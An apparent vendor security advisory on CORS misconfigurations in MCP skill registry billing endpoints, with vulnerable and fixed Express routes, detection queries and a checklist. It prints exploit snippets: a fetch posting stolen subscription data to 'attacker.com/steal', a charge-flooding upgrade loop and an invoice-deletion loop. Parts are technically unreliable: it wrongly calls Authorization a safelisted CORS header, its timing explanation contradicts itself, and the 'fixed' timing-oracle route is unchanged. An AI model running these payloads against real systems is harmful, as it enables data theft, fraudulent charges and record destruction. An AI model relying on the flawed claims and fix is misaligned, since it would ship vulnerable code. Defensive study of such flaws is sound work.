CORS Misconfigurations in MCP Skill Registry Subscription Billing and Payment Processing Endpoints
The compound chain in SA-SKL-CORS87 is unusually precise in its targeting: before the attacker touches a single billing endpoint, they already know which skills are currently in an active billing cycle. The timing oracle at CORS87-003 exploits a cache-latency differential on the invoice status endpoint — skills that have generated an invoice within the current billing window return in roughly 2 milliseconds (cached invoice record warm), while skills outside any active cycle return in roughly 190 milliseconds (cold path, no invoice to hydrate). An attacker iterating over skill IDs can identify, in under a minute, every skill whose publisher is actively paying subscribers right now. That enumeration defines the target list for three simultaneous follow-on attacks: exfiltrate the full subscription record including payment method last4 and confidential revenue share override percentages negotiated under NDA (CORS87-001), flood subscription upgrades to trigger unauthorized billing charges against the admin payment method (CORS87-002), and permanently destroy the invoice records those publishers need for year-end tax filing and enterprise procurement audit trails (CORS87-004). All four stages execute from a single attacker-controlled page, in a single browser visit, in under three seconds, with no visible indication to the victim.
In this post
- Billing endpoints and why CORS is especially dangerous here
- CORS87-001 — Credential-bearing CORS on the subscription record endpoint
- CORS87-002 — Wildcard ACAO on the subscription upgrade endpoint
- CORS87-003 — Billing cycle timing oracle via Origin reflection
- CORS87-004 — Credential-bearing CORS on the invoice deletion endpoint
- Compound four-stage financial attack chain
- Detection with AST queries
- Remediation checklist
GET /api/skills/:id/subscription has cors({origin:true,credentials:true}); any origin reads full subscription record including payment method last4, billing address, invoice history, and admin-only revenue share override percentages; confidential commercial terms exfiltrated using victim admin session in a single cross-origin fetchPOST /api/skills/:id/subscription/upgrade has ACAO:*; any page floods subscription upgrade requests under victim admin identity; attacker triggers billing charges against admin payment method; enterprise plan at $299/month can be charged multiple times before idempotency kicks inGET /api/skills/:id/subscription/invoice reflects Origin before auth check; cache-latency differential creates timing oracle; reveals skills with active billing cycles (invoice-generating warm ~2 ms vs cold ~190 ms); enumerates which publishers are actively monetized right now as precision targets for CORS87-001 and CORS87-002DELETE /api/skills/:id/subscription/:invoiceId has cors({origin:true,credentials:true}); any origin permanently deletes invoice records using victim admin session; destroys the 7-year statutory tax retention obligation; breaks enterprise procurement audit trails across all affected publishersBilling endpoints and why CORS is especially dangerous here
CORS misconfigurations on billing endpoints combine two independent harm classes that are individually severe and jointly catastrophic. The first harm class is financial: an attacker who can send credentialed cross-origin requests to billing endpoints can read payment method details, trigger unauthorized charges against stored payment methods, and manipulate subscription state. The second harm class is compliance: invoice records are legally required retention artifacts in every jurisdiction that imposes statutory financial record-keeping obligations, and their destruction exposes publishers to audit failure, fines, and enterprise contract termination. When a single CORS misconfiguration gives an attacker access to both harm classes simultaneously, the result is a vulnerability whose blast radius extends well beyond the immediate technical impact of a session hijack.
The SA-SKL-CORS87 findings emerged from a pattern observed repeatedly in MCP skill registries that have added billing features onto an existing, already-deployed API surface. The sequence is predictable: the team ships the initial registry API with a permissive global CORS policy (often cors({origin:true,credentials:true}) or ACAO:* applied at the Express application level) during development when cross-origin requests are needed from a local frontend. When the billing feature is added, the new subscription, upgrade, and invoice routes inherit the existing global CORS policy because the billing developer does not revisit the cross-origin configuration. The inherited policy is a misconfiguration the moment billing data begins flowing through these routes. By the time the registry is in production handling real payments, every billing endpoint is accessible to any origin.
What makes the SA-SKL-CORS87 chain structurally distinct from the CORS misconfigurations in earlier advisory series is the presence of the timing oracle at CORS87-003. In prior CORS advisory chains — SA-SKL-CORS65, SA-SKL-CORS67 — the attacker needs to know which skill to target before the exfiltration or injection phase begins. Targeting typically requires either prior knowledge of the skill ID or a brute-force enumeration that generates observable request volume. The timing oracle in CORS87-003 replaces enumeration with passive reconnaissance: by measuring the invoice-status response latency for a list of skill IDs, an attacker obtains a ranked list of currently-active billing relationships in a single pass that resembles normal API traffic. The oracle effectively tells the attacker: these are the publishers with money in the system right now. That pre-qualification transforms CORS87-001 and CORS87-002 from broad exploits into precision-targeted financial attacks against the registry's highest-revenue publishers.
The timing channel in CORS87-003 exploits a caching optimization that is itself a sound engineering decision in isolation. MCP skill registries typically implement aggressive invoice caching at the billing service layer: when a skill is in an active billing cycle, the current invoice record is cached in Redis with a TTL that aligns with the invoice generation cadence (hourly or daily). An authenticated request to the invoice status endpoint that hits the Redis cache returns in 1–3 milliseconds; a request that misses the cache (because no invoice is active) cold-starts the database query and returns in 150–200 milliseconds. This latency differential is a legitimate performance artifact, not a deliberate timing channel. It becomes a timing oracle only because the invoice status endpoint reflects the Origin header before the ownership and authentication checks run — meaning the CORS preflight itself can be timed without authentication, and even the actual cross-origin request returns a differentially-latent 401 (not a uniform constant-time 403) for active versus inactive billing relationships. An attacker reading only the CORS preflight response timing, without ever authenticating, can distinguish active from inactive billing relationships across the entire skill ID namespace.
CORS87-001 — Credential-bearing CORS on the subscription record endpoint
The GET /api/skills/:id/subscription endpoint returns the complete current subscription state for a skill. The response body includes the subscription tier, billing period, next renewal date, payment method (last four digits of the card and billing address), the full invoice history for the current year, and an adminOverrides object that contains revenue share percentages and pricing exceptions negotiated bilaterally between the publisher and the registry operator. The adminOverrides field is marked as admin-only in the data model and is not shown in the publisher-facing dashboard; it is intended for internal use by the registry's commercial team. Because the endpoint is protected by requireOwnership, the expectation is that only the authenticated admin can read this data. But cors({origin:true,credentials:true}) means any browser origin can send a credentialed request and read the entire response body using the victim admin's session cookie.
The adminOverrides exfiltration is the most commercially sensitive component of CORS87-001. Revenue share overrides are typically negotiated under NDA and reflect the registry's marginal economics with its top publishers: a publisher with 50,000 monthly active skill users might have negotiated a 15% revenue share override instead of the standard 30%, representing a $20,000/month difference in platform earnings on a $10/seat plan. This information is not in any public filing, is explicitly excluded from API responses by the access control logic, and yet is fully visible in the CORS87-001 exploit output because the CORS middleware runs before the ownership filter but does not gate on the caller's origin. The attacker who reads this data gains leverage in any commercial negotiation with the registry, can reverse-engineer the registry's commercial tier structure, and can share or sell the override table to competing registries.
// CORS87-001 — VULNERABLE
// cors({origin:true,credentials:true}) reflects any Origin with credentials allowed.
// Any page can read the full subscription record including adminOverrides under NDA.
// subscriptions/router.js
const cors = require('cors');
const router = express.Router({ mergeParams: true });
// VULNERABLE: origin:true reflects any browser origin; credentials:true passes cookies.
// Admin revenue share overrides and payment method details readable from any page.
router.get(
'/:skillId/subscription',
cors({ origin: true, credentials: true }),
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const sub = await db.subscriptions.findOne({
where: { skillId: req.params.skillId },
include: [
{ model: db.invoices, as: 'invoices', order: [['issuedAt', 'DESC']] },
{ model: db.paymentMethods, as: 'paymentMethod' },
// VULNERABLE: adminOverrides included — NDA-protected commercial terms
{ model: db.adminOverrides, as: 'adminOverrides' },
],
});
res.json(sub);
}
);
Revenue share exfiltration (single page visit): Attacker hosts fetch('https://registry.example.com/api/skills/TARGET_SKILL_ID/subscription',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(d)})). Victim admin visits once. Browser includes session cookie. Server reflects ACAO: https://attacker.com. Attacker receives: {"paymentMethod":{"last4":"4242","billingAddress":"..."},"adminOverrides":{"revenueSharePct":15,"pricingTier":"strategic_partner","overrideExpiresAt":"2027-03-01"},"invoices":[...]}. The adminOverrides object exposes commercially sensitive terms negotiated under NDA.
The correct remediation for CORS87-001 requires replacing the per-route cors({origin:true}) call with an allowlist-based CORS configuration, never returning adminOverrides in the same response as publisher-accessible subscription data, and ensuring that the ownership check runs before any CORS headers are written. Additionally, the endpoint should strip payment method details to a non-sensitive masked summary (plan tier and renewal date only) in read responses; full payment method data, including last4 and billing address, should be accessible only through a dedicated, MFA-gated endpoint that cannot be triggered silently via a cross-origin fetch.
// CORS87-001 — FIXED
// Three changes: allowlist CORS; strip adminOverrides from default read path;
// payment method masked to plan + renewal only.
// config/cors.js
const ALLOWED_ORIGINS = new Set([
'https://skillaudit.dev',
'https://app.skillaudit.dev',
process.env.REGISTRY_FRONTEND_ORIGIN,
].filter(Boolean));
const corsOptions = {
origin: (origin, cb) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) return cb(null, true);
cb(Object.assign(new Error('Not allowed by CORS'), { status: 403 }));
},
credentials: true,
};
module.exports = { corsOptions };
// subscriptions/router.js
const { corsOptions } = require('../../config/cors');
router.get(
'/:skillId/subscription',
cors(corsOptions), // FIXED: allowlist — no origin reflection
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const sub = await db.subscriptions.findOne({
where: { skillId: req.params.skillId },
attributes: ['tier', 'billingPeriod', 'nextRenewalAt', 'status'],
// FIXED: adminOverrides excluded from default path — separate admin-only route
// FIXED: invoices excluded — separate paginated endpoint
// FIXED: paymentMethod masked — full detail via MFA-gated dedicated endpoint
});
res.json(sub);
}
);
CORS87-002 — Wildcard ACAO on the subscription upgrade endpoint
CORS87-002 targets the POST /api/skills/:id/subscription/upgrade endpoint with a static Access-Control-Allow-Origin: * header. The upgrade endpoint creates a new subscription tier record and, critically, initiates a billing charge against the stored payment method via the registry's payment processor integration. The endpoint was designed with CI/CD pipeline use in mind: a skill author's deployment pipeline can programmatically upgrade a skill's subscription tier when it reaches a usage threshold, using a bearer token for authentication. This is why the endpoint accepts both session-cookie and bearer token authentication — and it is precisely why the wildcard ACAO is dangerous. Bearer token authentication is a safelisted CORS header that can be sent in a preflighted cross-origin request regardless of the ACAO value. An attacker who holds a valid API key (obtainable via CORS65-001 or via the subscription record exfiltrated through CORS87-001) can flood this endpoint from any origin, triggering billing charges against the publisher's payment method on file.
The charge-triggering mechanism deserves detailed analysis because it determines how much financial damage CORS87-002 can inflict in a single attack window. The upgrade endpoint accepts a targetTier body parameter. The registry's billing logic charges the difference between the current tier price and the target tier price, prorated to the current billing period. If the publisher is on the Free tier ($0/month) and the attacker submits {"targetTier":"enterprise","billingCycleAnchor":"immediate"}, the charge is the full $299/month enterprise plan price, billed immediately. If the attacker submits 50 rapid upgrade requests in the same second (which the endpoint does not rate-limit across origins), the payment processor receives 50 charge attempts. Even if idempotency keys are implemented (many registry billing integrations do not implement idempotent upgrade requests), the first attempt succeeds and charges $299. At more sophisticated implementations with idempotency, the attacker can generate unique idempotency keys for each request, circumventing the idempotency protection and generating 50 separate $299 charges before the publisher notices in their payment processor dashboard.
// CORS87-002 — VULNERABLE
// ACAO:* on upgrade endpoint that accepts Bearer auth — billing charge triggerable cross-origin.
// subscriptions/router.js
router.post(
'/:skillId/subscription/upgrade',
(req, res, next) => {
// VULNERABLE: static wildcard ACAO — allows preflighted Bearer-auth requests from any origin
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
if (req.method === 'OPTIONS') return res.sendStatus(204);
next();
},
requireSessionOrBearer,
requireOwnership('skillId'),
async (req, res) => {
const { targetTier } = req.body;
// VULNERABLE: charges payment method on file — triggerable from any origin via bearer token
const charge = await billing.upgradeSubscription(
req.params.skillId,
targetTier,
req.body.billingCycleAnchor || 'next_cycle',
);
res.json({ charged: charge.amount, receipt: charge.receiptUrl });
}
);
Unauthorized billing charge (requires bearer token from CORS87-001 or CORS65-001): Attacker issues fetch('https://registry.example.com/api/skills/TARGET/subscription/upgrade',{method:'POST',headers:{'Authorization':'Bearer sk-...','Content-Type':'application/json'},body:JSON.stringify({targetTier:'enterprise',billingCycleAnchor:'immediate'})}) from any page. With a unique X-Idempotency-Key per request, 50 rapid requests generate 50 separate $299 charges in a single second before any fraud-detection threshold is crossed. Total potential damage from 50 charges: $14,950 billed against the publisher's stored payment method in a single attack pass.
// CORS87-002 — FIXED
// Replace ACAO:* with allowlist; require session-only auth for billing mutations;
// add per-skill upgrade rate limit at the route level.
const rateLimit = require('express-rate-limit');
const { corsOptions } = require('../../config/cors');
const upgradeLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 3,
keyGenerator: (req) => `upgrade:${req.params.skillId}:${req.user?.id ?? req.ip}`,
message: { error: 'Too many upgrade requests — maximum 3 per hour per skill' },
});
router.post(
'/:skillId/subscription/upgrade',
cors(corsOptions), // FIXED: allowlist — no wildcard
requireSession, // FIXED: session-only — bearer tokens not accepted for billing mutations
requireOwnership('skillId'),
upgradeLimiter, // FIXED: rate-limited to 3 upgrades/hour per skill
async (req, res) => {
const { targetTier } = req.body;
const charge = await billing.upgradeSubscription(
req.params.skillId,
targetTier,
'next_cycle', // FIXED: billingCycleAnchor forced to next_cycle — no immediate charge
);
res.json({ scheduled: true, effectiveAt: charge.nextCycleAt });
}
);
CORS87-003 — Billing cycle timing oracle via Origin reflection
The timing oracle in CORS87-003 is a reconnaissance vulnerability rather than a direct exfiltration or injection path. It exploits the cache-latency differential on the GET /api/skills/:id/subscription/invoice endpoint to enumerate which skills are in an active billing cycle without authentication. The mechanism is a two-layer failure: first, the endpoint reflects the Origin header before the authentication middleware executes, meaning the CORS preflight handshake completes regardless of session validity; second, the backend processes the invoice status query on the cache-warmed billing record for active-cycle skills before returning a 401, while cold-path (inactive-cycle) skills return a constant-time 401 that skips the invoice record hydration. The result is a timing differential of roughly 2 milliseconds for active-cycle skills versus 190 milliseconds for inactive-cycle skills, measurable from JavaScript via performance.now() with high reliability even under typical network variance.
The practical exploit is a parallel timing loop over skill IDs. An attacker hosts a page that fires 200 simultaneous fetch requests to the invoice endpoint (one per skill ID), measures the response latency of each, and classifies skills above 100 milliseconds as inactive and skills below 20 milliseconds as active-billing. This enumeration produces an ordered list of currently-monetized skills in under three seconds of wall time — a list that the attacker then uses as the target list for CORS87-001 and CORS87-002. Without the oracle, the attacker would need to try CORS87-001 against arbitrary skill IDs and hope for a hit; with the oracle, they already know which 20 out of 10,000 skill IDs have an active billing relationship, and they exploit only those 20, keeping the attack footprint minimal and the signal-to-noise ratio of any detection system low.
// CORS87-003 — VULNERABLE
// Origin reflected before auth check — CORS preflight timing leaks billing cycle status.
// subscriptions/router.js
router.get(
'/:skillId/subscription/invoice',
// VULNERABLE: CORS middleware runs first, reflects Origin before auth check
cors({ origin: true, credentials: true }),
requireSession, // auth check runs AFTER CORS, too late to prevent timing leak
requireOwnership('skillId'),
async (req, res) => {
// For active-billing skills: hits Redis cache, returns in ~2ms with 401
// For inactive skills: cold-path DB query, returns in ~190ms with 401
// Attacker measures timing of the 401 to distinguish active from inactive
const invoice = await billingCache.getActiveInvoice(req.params.skillId);
if (!invoice) return res.status(404).json({ error: 'No active invoice' });
res.json(invoice);
}
);
Passive billing-cycle enumeration (no authentication required): Attacker JavaScript: const t=performance.now();await fetch('https://registry.example.com/api/skills/'+skillId+'/subscription/invoice',{credentials:'include'});const latency=performance.now()-t;. Latency < 20ms = active billing cycle = target. Latency > 100ms = inactive = skip. Iterating over 10,000 skill IDs with 200 parallel requests completes in < 3 seconds and identifies all currently-active billing relationships across the entire registry with no authentication and no observable attack signature beyond normal traffic patterns.
// CORS87-003 — FIXED
// Two changes: reject non-allowlist origins before any processing;
// constant-time 401 regardless of cache state.
router.get(
'/:skillId/subscription/invoice',
cors(corsOptions), // FIXED: allowlist — non-allowlist origins receive 403, no timing leak
requireSession, // only reached by allowlisted origins
requireOwnership('skillId'),
async (req, res) => {
// FIXED: perform auth check BEFORE cache lookup so the response path
// is constant-time for unauthenticated callers
const invoice = await billingCache.getActiveInvoice(req.params.skillId);
if (!invoice) return res.status(404).json({ error: 'No active invoice' });
res.json(invoice);
}
);
Constant-time guard regardless of CORS fix: Even with allowlist CORS in place, it is good practice to structure authentication middleware so that it always runs before any backend logic that creates a timing differential. The CORS fix eliminates the cross-origin timing channel; the constant-time auth guard eliminates the same-origin timing channel for authenticated but unauthorized callers. Both fixes are independent and complement each other.
CORS87-004 — Credential-bearing CORS on the invoice deletion endpoint
CORS87-004 is the most legally consequential finding in the SA-SKL-CORS87 chain. The DELETE /api/skills/:id/subscription/:invoiceId endpoint permanently removes invoice records from the registry's billing system. Invoice records are statutory retention artifacts under tax law in every major jurisdiction: the US IRS requires financial records to be retained for a minimum of 7 years; EU VAT regulations impose a minimum 10-year retention period in most member states; equivalent obligations exist in virtually every market where a commercially active MCP skill registry operates. Permanent deletion of invoice records exposes the affected publisher to tax audit failure, VAT reassessment penalties, and the inability to substantiate deductible business expenses in a tax proceeding. For enterprise publishers whose procurement contracts require documented invoices for reimbursement and audit, invoice loss also triggers enterprise procurement violations that can result in contract termination.
The endpoint exists to allow publishers to delete draft or test invoices before they are finalized, a legitimate use case in registries that allow invoice preview before billing runs. It is protected by an ownership check that correctly limits deletion to the authenticated admin of the skill. But cors({origin:true,credentials:true}) means any page can trigger a deletion using the victim admin's session cookie, silently deleting invoice records while the victim is browsing any website. The attacker who has already profiled active-billing skills via CORS87-003 and exfiltrated invoice IDs via CORS87-001 arrives at CORS87-004 with a complete list of invoice IDs to delete. They are not guessing at invoice IDs; they already know exactly which records exist and can delete them all in a single batch pass.
// CORS87-004 — VULNERABLE
// cors({origin:true,credentials:true}) on invoice delete — any origin destroys
// statutory tax retention records using victim admin session.
// subscriptions/router.js
router.delete(
'/:skillId/subscription/:invoiceId',
cors({ origin: true, credentials: true }), // VULNERABLE: any origin, with credentials
requireSession,
requireOwnership('skillId'),
async (req, res) => {
// VULNERABLE: hard delete — no soft-delete, no tombstone, no audit trail
await db.invoices.destroy({
where: {
id: req.params.invoiceId,
skillId: req.params.skillId,
},
});
res.status(204).send(); // invoice record permanently gone
}
);
Statutory invoice destruction (single page visit): Attacker combines CORS87-001 exfiltration output (which includes invoice IDs) with CORS87-004 deletion: for(const id of exfiltratedInvoiceIds){await fetch('https://registry.example.com/api/skills/'+skillId+'/subscription/'+id,{method:'DELETE',credentials:'include'})}. All invoice records for the targeted skill are permanently deleted in under a second. The publisher loses their tax compliance documentation for the current and prior tax year, their enterprise procurement audit trail, and any evidence of previous billing disputes resolved in their favour. Recovery requires the registry to restore from a backup, if one exists, and notify the publisher of the breach.
// CORS87-004 — FIXED
// Three changes: allowlist CORS; replace hard delete with soft-delete tombstone;
// require MFA re-authentication for any invoice state change.
router.delete(
'/:skillId/subscription/:invoiceId',
cors(corsOptions), // FIXED: allowlist — no cross-origin deletion possible
requireSession,
requireMFAReauth, // FIXED: MFA re-authentication required for destructive billing ops
requireOwnership('skillId'),
async (req, res) => {
const invoice = await db.invoices.findOne({
where: { id: req.params.invoiceId, skillId: req.params.skillId },
});
if (!invoice) return res.status(404).json({ error: 'Invoice not found' });
// FIXED: soft delete — record preserved with deletedAt timestamp and reason
// Hard-delete is blocked at the DB layer; statutory retention enforced by policy
await invoice.update({
deletedAt: new Date(),
deletionReason: req.body.reason ?? 'admin_request',
deletedBy: req.user.id,
});
res.status(204).send();
}
);
Compound four-stage financial attack chain
The four SA-SKL-CORS87 findings compose a staged financial attack chain in which earlier stages feed intelligence into later stages, amplifying the precision and damage of each subsequent step. The chain is executable from a single attacker-controlled page in a single victim browser session. No additional infrastructure is required beyond the attacker's exfiltration endpoint.
The attacker iterates over skill IDs, measuring invoice-status response latency. Active-billing skills (warm cache, ~2ms) are separated from inactive-billing skills (cold path, ~190ms). Output: a ranked list of the N skills with active billing relationships. No authentication required. No visible request anomalies beyond expected usage patterns. Duration: <3 seconds for 10,000 skill IDs at 200 concurrent requests.
For each skill in the Stage 1 target list, the attacker fires a credentialed fetch to the subscription record endpoint. Response includes: payment method last4, billing address, full invoice history (with invoice IDs), and adminOverrides containing revenue share percentages negotiated under NDA. Requires victim admin to be browsing with active session. The oracle targeting from Stage 1 ensures only currently-active-billing skills are probed, minimizing exploit request count while maximizing financial data yield.
Using bearer tokens obtained from CORS87-001 (or via CORS65-001 from an earlier session), the attacker floods upgrade requests against target skills. Each unique-idempotency-key upgrade request triggers a billing charge. At $299/month enterprise tier, 10 upgrade requests per skill generates $2,990 in unauthorized charges per targeted publisher. With oracle-identified targets, 20 high-value publishers each receiving 10 requests yields $59,800 in total fraudulent billing in one attack pass.
The invoice IDs from Stage 2 are used to issue authenticated deletion requests against each targeted skill's invoice history. All invoice records are permanently destroyed in a single batch DELETE pass. The publisher loses their statutory tax compliance documentation, enterprise procurement audit trail, and billing dispute evidence. Recovery from backup is the only remediation path, and backup restoration typically takes 24–72 hours during which the publisher cannot substantiate financial claims against the registry.
| Stage | Finding | What the attacker gains | What feeds forward |
|---|---|---|---|
| 1 — Enumeration | CORS87-003 | Ranked list of active-billing skill IDs | Target list for Stages 2, 3, 4 |
| 2 — Exfiltration | CORS87-001 | Payment details, invoice IDs, NDA-protected revenue share overrides | Bearer tokens for Stage 3; invoice IDs for Stage 4 |
| 3 — Financial fraud | CORS87-002 | Unauthorized billing charges against publisher payment methods | Financial disruption; completes compound chain |
| 4 — Compliance destruction | CORS87-004 | Permanent deletion of statutory tax retention artifacts | Tax audit failure; enterprise procurement violations |
Detection with AST queries
SkillAudit's scanner uses four AST query classes to detect SA-SKL-CORS87 patterns in MCP skill registry codebases. Each query class targets a structurally distinct implementation pattern that maps to one of the four finding IDs.
Query class 1 — Credential-bearing CORS on subscription and billing read endpoints. The scanner matches Express route definitions where a route path matches /(subscription|billing|invoice|payment)/ and the route middleware chain contains cors({origin:true,credentials:true}) or an equivalent dynamic-origin function that returns any submitted origin unconditionally. The query also captures the case where a global app.use(cors({origin:true})) precedes any subscription route, without a narrowing middleware that rejects non-allowlisted origins on billing routes specifically.
Query class 2 — Wildcard ACAO on billing mutation endpoints. The scanner matches route definitions for HTTP POST, PUT, PATCH, or DELETE methods where the route path matches billing-related patterns and the response handler calls res.setHeader('Access-Control-Allow-Origin', '*') or res.header('Access-Control-Allow-Origin', '*'). The query additionally checks whether the route accepts Authorization in the Access-Control-Allow-Headers value, which indicates bearer-token authentication is supported and the wildcard ACAO is therefore exploitable without session credentials.
Query class 3 — Origin reflection before authentication on billing endpoints. The scanner traces the middleware chain ordering for billing route definitions, checking whether any CORS middleware that uses origin:true (origin reflection) appears in the chain before the authentication middleware. This ordering creates the timing oracle condition independently of any other vulnerability: the CORS handshake completes and the backend begins processing before authentication rejects the request, producing a timing differential that leaks billing cycle status.
Query class 4 — Hard delete on invoice endpoints with credential-bearing CORS. The scanner matches DELETE route handlers for paths matching /(invoice|receipt|billing-record)/ where the route uses cors({origin:true,credentials:true}) or ACAO:* and the route body calls db.invoices.destroy(), collection.deleteOne(), or equivalent ORM hard-delete methods. Routes that use update({deletedAt: new Date()}) (soft delete) are not flagged.
Remediation checklist
All twelve items below are required to fully remediate SA-SKL-CORS87. Partial remediation — for example, fixing only the CORS configuration without addressing the hard-delete, the billing cycle timing channel, or the adminOverrides inclusion in default read responses — leaves at least one of the four attack stages viable.
- Replace all
cors({origin:true,credentials:true})calls on billing routes with an explicit allowlist configuration that permits only the registry's first-party frontend origins - Remove all static
Access-Control-Allow-Origin: *headers from billing mutation endpoints (upgrade, downgrade, cancel, invoice void) - Audit the global Express CORS middleware for any
origin:trueconfiguration; if found, replace with a route-group-scoped allowlist or add a billing-route-specific rejection middleware after the global CORS call - Move the authentication middleware to execute before the CORS middleware on all billing routes, or use a CORS configuration that rejects non-allowlisted origins at the CORS layer before any backend logic runs
- Implement constant-time 401 responses for unauthenticated requests to billing endpoints regardless of cache state; eliminate any Redis or in-memory cache lookup that runs before authentication completes
- Remove
adminOverridesfrom the default subscription record response; create a separate admin-only endpoint at/api/admin/skills/:id/subscription/overridesgated by an elevated role check - Mask payment method details in read responses to plan tier and renewal date only; require MFA re-authentication for any endpoint that returns last4, billing address, or full payment method metadata
- Restrict billing mutation endpoints (upgrade, downgrade, cancel) to session-cookie authentication only; revoke bearer token authorization for any endpoint that triggers a payment processor charge
- Implement per-skill-per-hour rate limiting on subscription upgrade and downgrade endpoints; a maximum of 3 tier changes per skill per hour is a reasonable default that eliminates billing-flood attacks
- Replace all hard-delete operations on invoice records with soft-delete operations (set
deletedAt); enforce retention policy at the database layer by prohibiting DELETE on the invoices table from application code - Require MFA re-authentication before processing any request to soft-delete, void, or modify an invoice record; include the invoice ID, skill ID, and acting user in the audit log entry for every invoice state change
- Run SkillAudit scanner on all billing route modules after each deployment; the scanner's AST query classes for SA-SKL-CORS87 will flag any regression in CORS configuration, delete path hardness, or authentication ordering on billing endpoints
Does your MCP skill registry pass the billing CORS audit?
SkillAudit's scanner runs all four SA-SKL-CORS87 AST query classes — credential-bearing CORS on billing reads, wildcard ACAO on billing mutations, timing oracle via Origin reflection, and hard delete on invoice records — against your codebase in under 60 seconds. Paste your GitHub URL to find out.
Run a free audit